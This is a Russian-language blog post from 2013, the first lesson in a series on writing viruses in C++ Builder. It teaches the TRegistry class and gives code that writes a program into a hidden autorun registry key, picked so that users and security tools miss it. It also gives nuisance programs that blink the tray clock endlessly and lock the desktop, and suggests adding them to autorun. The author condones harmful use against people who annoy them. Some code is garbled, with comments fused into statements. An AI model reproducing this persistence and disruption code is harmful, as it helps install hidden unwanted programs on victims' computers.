---
title: "Вирусы&amp;C++.Урок 1"
description: "Привет перчик.Если ты читаешь эти строки то значит я начал писать цикл статей про вирмейкерство в. С..."
author: "huzrus"
published: "2013-02-03T09:39:58+00:00"
modified: "2013-02-03T09:39:58+00:00"
locale: "ru"
canonical_url: "https://yvision.kz/post/virusy-amp-c-urok-1-318279"
markdown_url: "https://yvision.kz/post/virusy-amp-c-urok-1-318279/markdown"
site_name: "Yvision.kz"
---

# Вирусы&amp;C++.Урок 1

> Привет перчик.Если ты читаешь эти строки то значит я начал писать цикл статей про вирмейкерство в. С...

Привет перчик.Если ты читаешь эти строки то значит я начал писать цикл статей про вирмейкерство в. С++. Хочу сказать сразу что в этом уроке про вирусы то ничего и не будет. Мы будем готовиться. Разберем несколько API функций научимся работать с реестром и напишем шуточную программкуПочему я выбрал. С++? Ассемблер хорошо подходит для этих целей, но он сложен. Можно конечно и в Delphi вирусы писать, но их качество будет желать лучшего. А вот. С++ самый оптимальный вариант. Компилятор я юзаю C++ builder 6. При наличии мозгов можно писать эти примеры и в других.Для чего писать вири? Сразу говорю вири я пишу не для вреда. Нет… конечно если кто-то достанет конкретно то можно использовать плод своей воспаленной фантазии во вред этому челу но не более. Обычно я пишу чисто для своего удовольствия, а также для разминки мозгов. Ну общем это мне просто очень нравиться. В цикле этих статей мы разберем написания, как обычных шуток, так и полноценных червей. Разберем, как пишутся бэкдоры. И возможно еще кое что….В этом уроке мы не будем писать ни чего вредоносного..Работа с реестром.В любом вирусе, в любой шутке или же что то в этом роде программа должна записываться в автозапуск. Для этого можно использовать системный реестр реестра с этого мы и начнем.Вообще Реестр содержит информацию и настройки для аппаратного обеспечения, программного обеспечения, профилей пользователей, предустановки. Многие программы используют его. Например, самое простое для обычной записи размера окна и последующей загрузки этих данных. Удобно смотреть разделы реестра можно с помощью программы RegEdit. Набери в консоли RegEdit.exe и запуститься программа. Как видишь можно гулять по разделам и просматривать параметры. И естественно изменять их.Если хорошо знать реестр, то можно сделать очень многое с ОС. Мы же будем его использовать для записи программы в авторазгрузку. Стандартно автозагрузка находиться по адресу HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun-Run-Ho это сейчас уже неактуально.Поэтому мы будем использовать так называемые скрытые разделы автозагрузка.[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun]Программно мы добавим в эту ветви реестра строковой параметров виде пути к нашей программе раздел использует Explorer. Так что юзер не просечет это. Да и специальные программы могут не найти нашу вещь.Более подробно про автозагрузку можно прочитать здесьhttp://www.nodevice.ru/article/197.html.Таксссс…. С реестром разобрались. Как же теперь на с помощью. С++ записать туда что-то? Вообще в. С++ есть специальные API функции. НО! Они сложные. Нам с тобой лишние проблемы не нужны. В этих статьях я привожу примеры к Borland C++ Builder. А в этом компиляторе есть замечательный класс Tregistry. Он очень прост. Поэтому мы его сейчас и разберем. И не только научимся записываться, но и считывать данные. В общем, это очень полезно и понадобиться любому вирмейкеру.Класс Tregistry;CurentKey: содержит текущее значение ключа. Значение ключа – это целое число, которое идентифицирует ключ. Обычно от этого свойства мало толку.RootKey: содержит строку - имя текущего корневого ключа (по умолчанию HKEY_CURENT_USER).CurrentPath: содержит строку - имя и путь текущего ключа, без корневого.LazyWrite: определяет – предавать управление приложению во время записи данных в ключ (true), или не передавать до тех пор пока запись не завершится (false).Также класс Tregistry содержит несколько методов для работы с реестром. Такие как:CloseKey - закрывает ключ и записывает в него данные.CreateKey - создает ключ, но не открывает его.DeleteKey - удаляет любой ключ, для удаления текущего можно просто передать пустую строку.GetKeyNames - возвращает потомку TStrings все его подключи.GetValueNames - возвращает имена всех элементов ключа.KeyExists - true - если указанный ключ существует, false – если нет.OpenKey() - открывает указанный ключ, имеет два параметра. Второй параметр отвечает за то создавать ключ, если он не существует или нет (true, false).ValueExists - true – если указанный элемент данных существует.LoadKey, SaveKey -эти методы загружают и сохраняют ключ на диске.ReadBool - этот и следующие методы читают из указанного элемента ключа данные определенного типа.ReadDateTimeReadFloatReadIntegerReadStringWriteBinaryData - этот и следующие методы записывают в указанный элемент ключа данные соотествующего типа.WriteBoolWriteDateTimeWriteFloatWriteIntegerWriteStringМеханизм работы с реестром примерно следующий:1. Открыть ключ (OpenKey())2. Прочитать или записать данные3. Закрыть ключ (CloseKey()), хотя деструктор класса Tregistry и может закрыть ключ сам, но это поможет при одиночном или последнем чтении.TRegistry *reg = new TRegistry(KEY_ALL_ACCESS);Здесь мы инициализируем переменную reg для дальнейшего использованиеС этой инициализации все и начинается. Теперь мы разберем чтениеTRegistry *reg = new TRegistry(KEY_ALL_ACCESS);// инициализацияreg->RootKey= HKEY_LOCAL_MACHINE; // выбираем корень reg->OpenKey("Software", true); // открываем раздел Softwarereg->ReadString("LAmer"); Читаем строкуreg->CloseKey(); // закрываем ключДумаю тут все понятно.Запись:TRegistry *reg = new TRegistry(KEY_ALL_ACCESS); // инициализацияreg->RootKey= HKEY_LOCAL_MACHINE; // выбор корняreg->OpenKey("Software", true); // открываем раздел Softwarereg->OpenKey("Busps", true); // открываем раздел Buspsreg->WriteString("lalala","lalala"); // записываем в него строку.reg->CloseKey();Итак, чтобы посмотреть значение параметров у Busps пройди в программе просм. Реестра путь, по которому мы записывали данные.Сверху я рассказывал об удаление данных и типах данных, которые можно читать. Так что информации вполне достаточно.Ну и собственно самое главное - - - запись в автозапуск(autorun).Как я уже говорил в раздел автозапуска (о котором я тоже говорил), мы запишем путь к нашей программе. Для его определения существует API функция GetSystemDirectory.Функция GetCurrentDirectory возвращает путь к текущей директории.DWORD GetCurrentDirectory(DWORD nBufferLength, // размер буфера [in]LPTSTR lpBuffer // буфер для текущей директории [out]Возвращаемое значение:Эта функция возвращает размер буфера, для системной директории не включая нулевогозначения в конце, если она вызвана правильно.Если функция вызвана не правильно, то она возвращает 0.Пример:{char path[100];GetCurrentDirectory( 100, path );}Ну, теперь конкретный пример записи программы в автозапуск.char path[100]; // переменная для путиGetCurrentDirectory( 100, path ); // получаем путь и записываем его в переменную pathTRegistry *reg = new TRegistry(KEY_ALL_ACCESS); // инициализируемсяreg->RootKey= HKEY_LOCAL_MACHINE; // кореньreg->OpenKey("Software", true); // далее открываться нужные разделыreg->OpenKey("Microsoft", true);reg->OpenKey("Windows", true);reg->OpenKey("CurrentVersion", true);reg->OpenKey("Policies", true);reg->OpenKey("Explorer", true);reg->OpenKey("run", true); reg->WriteString("System","path"); записываем параметр с именем Sistem и значение path. А path у нас это путьreg->CloseKey();// ну и закрываем ключСначала записали в переменную текущую директорию, потом мы записали в нужный раздел реестра эту переменнуюФУУ…. Про реестр все. Наверное, ты рад. Собственно весь этот текст про реестр нужен был, что бы ты понял последний код для записи в автозапуск. Ну, вот ты научился работать с реестром, а это большой вклад в наше нелегкое дело/НУ чтож, теперь мы напишем несколько шуточный (или можно сказать доставучих) программ.Прога 0.Мигающие часики.Очень простая программка. Она будет сначала скрывать часы потом из показывать и так бесконечное количество.Если делать программы как обычные они получаться достаточно большие. Чтобы этого не случилось, мы вот как поступим.Вызывай меню:File->New->Other->ConsoleWizardВ появившемся окне укажи С++. А из галочек оставь только MultiThreader. Все ты сделал минимальное приложение. Только конечно кодить придется на чистом си.НУ, вот теперь пиши вот этот код:HWND Wnd;// переменная как указатель на окно которое мы будем искатьWnd = FindWindow("Shell_TrayWnd", NULL); // поверхностный поиск главный окон Wnd = FindWindowEx(Wnd, HWND(0), "TrayNotifyWnd", NULL);// поиск системного лоткаWnd = FindWindowEx(Wnd, HWND(0), "TrayClockWClass", NULL);// поиска часиковwhile(true) // запуск бесконечного цикла{ShowWindow (Wnd, SW_HIDE); Скрываем часикиSleep (500); //спим 500 мсShowWindow(Wnd, SW_SHOW); показываем часикиSleep(500); //снова спим} //повторяемСначала вызывается функция FindWindow она поверхностно ищет окнаДалее FindWindowEx. Она уже более точно ищет окна. Здесь она ищет системный лотокИ потом она вызывается второй раз здесь уже ищет часы. ТоестьПанель|Системный лоток|ЧасыДалее запускается бесконечный цикл. В нем мы используем функцию ShowWindow. У нее 2 параметра. Первый это окно (у нас это часики записанные в Wnd) и что нам с ним сделать. У нас 2 варианта скрыть (SW_HIDE) и показать(SW_SHOW) вот и все потом опять спим, пол секунды и все повторяем.Итак, теперь ты еще можешь записать эту программу в автозапуск (чтоб юзер совсем запарился =)Прога 1.В этой программке мы заблокируем рабочий столHWND h=GetDesktopWindow(); // Получаем в переменную контекст на рабочий стол EnableWindow(h, FALSE); // непосредственно блокируем егоНа сегодня шуток достаточно… при наличие мозгов и знанием API можно бес проблем написать множество таких программок.Ну вот и подошел к концу наш первый урок.На следующем уроки мы рассмотрим непосредственно классификацию вирусов. Выучим несколько API функции и напишем маленький вирус.ПриложениеДля ознакомление с некоторыми API функциями советую скачать вот эту справкуhttp://dump.ru/file/1065765

 

[Взлом программ и сайтов](http://itblogs.org/)

---

Source: [https://yvision.kz/post/virusy-amp-c-urok-1-318279](https://yvision.kz/post/virusy-amp-c-urok-1-318279)